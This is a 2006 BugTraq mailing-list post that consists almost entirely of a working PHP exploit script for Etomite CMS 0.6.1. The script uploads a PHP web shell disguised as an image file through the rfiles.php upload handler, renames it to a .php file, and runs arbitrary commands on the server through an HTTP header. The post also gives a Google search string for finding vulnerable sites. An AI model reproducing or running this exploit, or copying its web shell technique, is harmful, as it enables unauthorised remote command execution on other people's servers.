BugTraq
Etomite CMS <= 0.6.1 'rfiles.php' remote command execution Jul 25 2006 11:12AM
rgod autistici org
#!/usr/bin/php -q -d short_open_tag=on

<?

echo "Etomite CMS <= 0.6.1 'rfiles.php' remote command execution\r\n";

echo "by rgod rgod (at) autistici (dot) org [email concealed]\r\n";

echo "site: http://retrogod.altervista.org\r\n";

echo "google dork: \"Content managed by the Etomite Content Management System\"\r\n\r\n";

/*

works regardless of php.ini settings

*/

if ($argc<4) {

echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";

echo "host: target server (ip/hostname)\r\n";

echo "path: path to etomite\r\n";

echo "Options:\r\n";

echo " -p[port]: specify a port other than 80\r\n";

echo " -P[ip:port]: specify a proxy\r\n";

echo "Examples:\r\n";

echo "php ".$argv[0]." localhost /etomite/ \r\n";

echo "php ".$argv[0]." localhost / -P1.1.1.1:80\r\n";

die;

}

/*

software site: http://www.etomite.org/

explaination:

if you can call directly rfiles.php script you can upload an image file, then

you can rename it with .php extension, so you launch commands...

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" .";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy...';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

function make_seed()

{

list($usec, $sec) = explode(' ', microtime());

return (float) $sec + ((float) $usec * 100000);

}

$host=$argv[1];

$path=$argv[2];

$cmd="";

$port=80;

$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

srand(make_seed());

$anumber = rand(1,999);

$valid = array('gif', 'jpg', 'jpeg', 'png');

for ($i=0; $i<count($valid); $i++)

{

$data='-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="lang"

en

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="param"

upload

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="flist"

1

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="cimg"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="ilibs"

/

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="randomParam"

&w=150&h=150&zc=1

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="popClassName"

default

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="popTitle"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="in_srcnew"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="in_dirnew"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="nfile[]"; filename="suntzu'.$anumber.'.php.'.$valid[$i].'"

Content-Type:

<?php set_time_limit(0);echo "my_delim";passthru($_SERVER["HTTP_CLIENT_IP"]);echo "my_delim";?>

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="chkThumbSize[0]"

0

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="selRotate"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="pr_title"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="pr_alt"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="pr_class"

default

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="pr_align"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="pr_border"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="pr_vspace"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="pr_hspace"

-----------------------------7d6341a4e0c5a

Content-Disposition: form-data; name="pr_captionClass"

default

-----------------------------7d6341a4e0c5a--

';

$packet ="POST ".$p."manager/media/ibrowser/scripts/rfiles.php HTTP/1.0\r\n";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";

$packet.="Referer: http://".$host.$path."manager/media/ibrowser/ibrowser.php\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6341a4e0c5a\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

sleep(1);

$data='-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="lang"

en

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="param"

rename|suntzu'.$anumber.'.php.'.$valid[$i].'|suntzu'.$anumber.'.php

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="flist"

1

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="cimg"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="ilibs"

'.$path.'manager/media/ibrowser/temp/

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="randomParam"

&w=150&h=150&zc=1

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="popClassName"

default

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="popTitle"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="in_srcnew"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="in_dirnew"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="nfile[]"; filename=""

Content-Type: application/octet-stream

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="chkThumbSize[0]"

0

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="selRotate"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="pr_title"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="pr_alt"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="pr_class"

default

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="pr_align"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="pr_border"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="pr_vspace"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="pr_hspace"

-----------------------------7d62f31919f0218

Content-Disposition: form-data; name="pr_captionClass"

default

-----------------------------7d62f31919f0218--

';

$packet ="POST ".$p."manager/media/ibrowser/scripts/rfiles.php HTTP/1.0\r\n";

$packet.="User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)\r\n";

$packet.="Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */*\r\n";

$packet.="Referer: http://".$host.$path."manager/media/ibrowser/ibrowser.php\r\n";

$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d62f31919f0218\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Content-Length: ".strlen($data)."\r\n";

$packet.="Connection: Close\r\n\r\n";

$packet.=$data;

sendpacketii($packet);

sleep(1);

$packet ="GET ".$p."manager/media/ibrowser/temp/suntzu".$anumber.".php HTTP/1.0\r\n";

$packet.="CLIENT-IP: ".$cmd."\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: Close\r\n\r\n";

sendpacketii($packet);

if (strstr($html,"my_delim"))

{

$temp=explode("my_delim",$html);

echo "exploit succeeded...\r\n";

die($temp[1]);

}

}

//if you are here...

echo "exploit failed...";

?>

original url: http://retrogod.altervista.org/etomite_061_cmd.html

also sql injection:

http://retrogod.altervista.org/etomite_061_sql.html

[ reply ]


 

Privacy Statement
Copyright 2010, SecurityFocus